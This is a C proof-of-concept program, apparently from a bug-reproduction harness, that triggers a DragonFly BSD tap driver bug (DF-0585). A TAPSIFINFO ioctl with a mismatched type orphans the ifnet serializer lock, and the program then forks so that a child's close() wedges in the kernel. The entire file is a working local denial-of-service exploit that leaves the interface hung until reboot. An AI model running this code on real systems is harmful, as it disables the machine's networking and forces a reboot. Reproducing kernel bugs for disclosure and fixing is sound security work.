DF-0585 / leak_tap_lock.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* leak_tap_lock.c โ reproduce TAPSIFINFO ifnet-serializer orphan (DF-0585) * * Bug: tapioctl() at sys/net/tap/if_tap.c:726 acquires the ifnet serializer * with ifnet_serialize_all(ifp) at line 738 and releases it ONLY at * line 832. The TAPSIFINFO case (line 742) early-returns EPROTOTYPE at * line 745 when tapp->type != ifp->if_type, WITHOUT releasing the * serializer. The lock is orphaned for the lifetime of the interface. * * Every later ifnet_serialize_all(ifp) then blocks forever โ including * tapclose() at line 426 (the close of this very fd). Reboot required. * * Trigger: ioctl(fd, TAPSIFINFO, &ti) with ti.type != IFT_ETHER(6). * * This is a deterministic local DoS reachable by root / wheel (the /dev/tap * clone node is 0600 root:wheel, and tapopen() requires SYSCAP_RESTRICTEDROOT * unless net.link.tap.user_open=1, which still leaves the devfs node 0600). * * Build: cc -o leak_tap_lock leak_tap_lock.c * Run: ./leak_tap_lock [/dev/tap] * * The program uses a fork dance so the *child* performs the final close() * (the one that actually calls tapclose) while the parent, after a short * sleep, verifies the child is wedged in the kernel and then reports PROOF * and exits โ leaving the harness responsive. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <net/if.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <errno.h> /* Real DragonFly struct tapinfo (sys/net/tap/if_tap.h:46). MUST be exactly * 8 bytes: the TAPSIFINFO ioctl number is derived from sizeof(struct tapinfo) * via _IOW, so a wrong-size struct yields the wrong ioctl number and the * kernel switch falls through to default: ENOTTY instead of the buggy path. */ struct tapinfo { int baudrate; /* linespeed */ short mtu; /* maximum transmission unit */ u_char type; /* IFT_ETHER only */ u_char dummy; /* place holder */ }; #define TAPSIFINFO _IOW('t', 91, struct tapinfo) #define TAPGIFNAME _IOR('t', 93, struct ifreq) #define IFT_ETHER 6 int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "/dev/tap"; int fd, rc; struct tapinfo ti; struct ifreq ifr; pid_t pid; int wedge_sec = 3; fd = open(path, O_RDWR); if (fd < 0) { perror(path); fprintf(stderr, "(needs root/wheel; /dev/tap is 0600 root:wheel)\n"); return 2; } printf("[*] opened %s (fd=%d)\n", path, fd); /* Learn the cloned interface name (e.g. tap0) for the corroboration. */ memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, TAPGIFNAME, &ifr) == 0) printf("[*] cloned interface: %s\n", ifr.ifr_name); /* Mismatched type -> the buggy early return at if_tap.c:745. */ memset(&ti, 0, sizeof(ti)); ti.type = 0xff; /* != IFT_ETHER(6) */ ti.mtu = 1500; ti.baudrate = 0; rc = ioctl(fd, TAPSIFINFO, &ti); if (rc >= 0) { printf("[!] TAPSIFINFO succeeded (type matched?) โ bug NOT triggered\n"); close(fd); return 3; } printf("[*] TAPSIFINFO returned -1: errno=%d (%s) [EPROTOTYPE=%d]\n", errno, strerror(errno), EPROTOTYPE); printf("[*] tapioctl() early-returned at if_tap.c:745 WITHOUT releasing\n"); printf("[*] the ifnet serializer acquired at if_tap.c:738 -> LOCK ORPHANED\n"); fflush(stdout); /* Fork so the CHILD holds the last reference to the file. The parent * drops its own reference first; the child's close() is therefore the * final close and runs tapclose() -> ifnet_serialize_all(ifp) at * if_tap.c:426, which blocks forever on the orphaned serializer. */ pid = fork(); if (pid < 0) { perror("fork"); return 2; } if (pid == 0) { /* child: wait for parent to drop its ref, then do the final close */ usleep(300000); close(fd); /* -> tapclose() -> wedges at line 426 */ _exit(0); /* UNREACHABLE */ } /* parent: drop our reference so the child's close is the final one */ close(fd); printf("[*] parent dropped its fd; child %d will perform the final close()\n", (int)pid); fflush(stdout); sleep(wedge_sec); /* Distinguish a GENUINELY WEDGED child (stuck in tapclose() in * uninterruptible D-sleep, the bug) from a child that EXITED and is now * a zombie. kill(pid,0) succeeds for BOTH (a zombie still occupies its * PID slot), so it cannot tell fixed from buggy. waitpid(WNOHANG) * reaps an exited child and returns 0 only if the child is still * running โ which, after wedge_sec in close(), means it is wedged. */ { int st, rc; rc = waitpid(pid, &st, WNOHANG); if (rc == pid || (rc == -1 && errno == ECHILD)) { /* child has exited -> close() returned -> serializer was * released -> NOT wedged (the FIXED behavior). */ printf("[+] child pid %d EXITED after close() (status=0x%x)\n", (int)pid, st); printf("[+] -> tapclose() completed; serializer released\n"); printf("[+] -> DF-0585 NOT reproduced: no wedge (FIXED kernel)\n"); return 1; } /* rc == 0: child still running after wedge_sec in close() */ { char msg[256]; printf("[+] ===================================== PROOF =====\n"); printf("[+] child pid %d still running %ds into its close() call\n", (int)pid, wedge_sec); printf("[+] -> tapclose() is wedged at ifnet_serialize_all()\n"); printf("[+] (if_tap.c:426) on the orphaned serializer\n"); printf("[+] -> DF-0585 REPRODUCED: interface permanently wedged\n"); snprintf(msg, sizeof(msg), "[+] corroborate from a shell now: `ifconfig %s` ALSO hangs\n", ifr.ifr_name[0] ? ifr.ifr_name : "tap0"); printf("%s", msg); /* detach the wedged child so the harness can return */ return 0; } } } |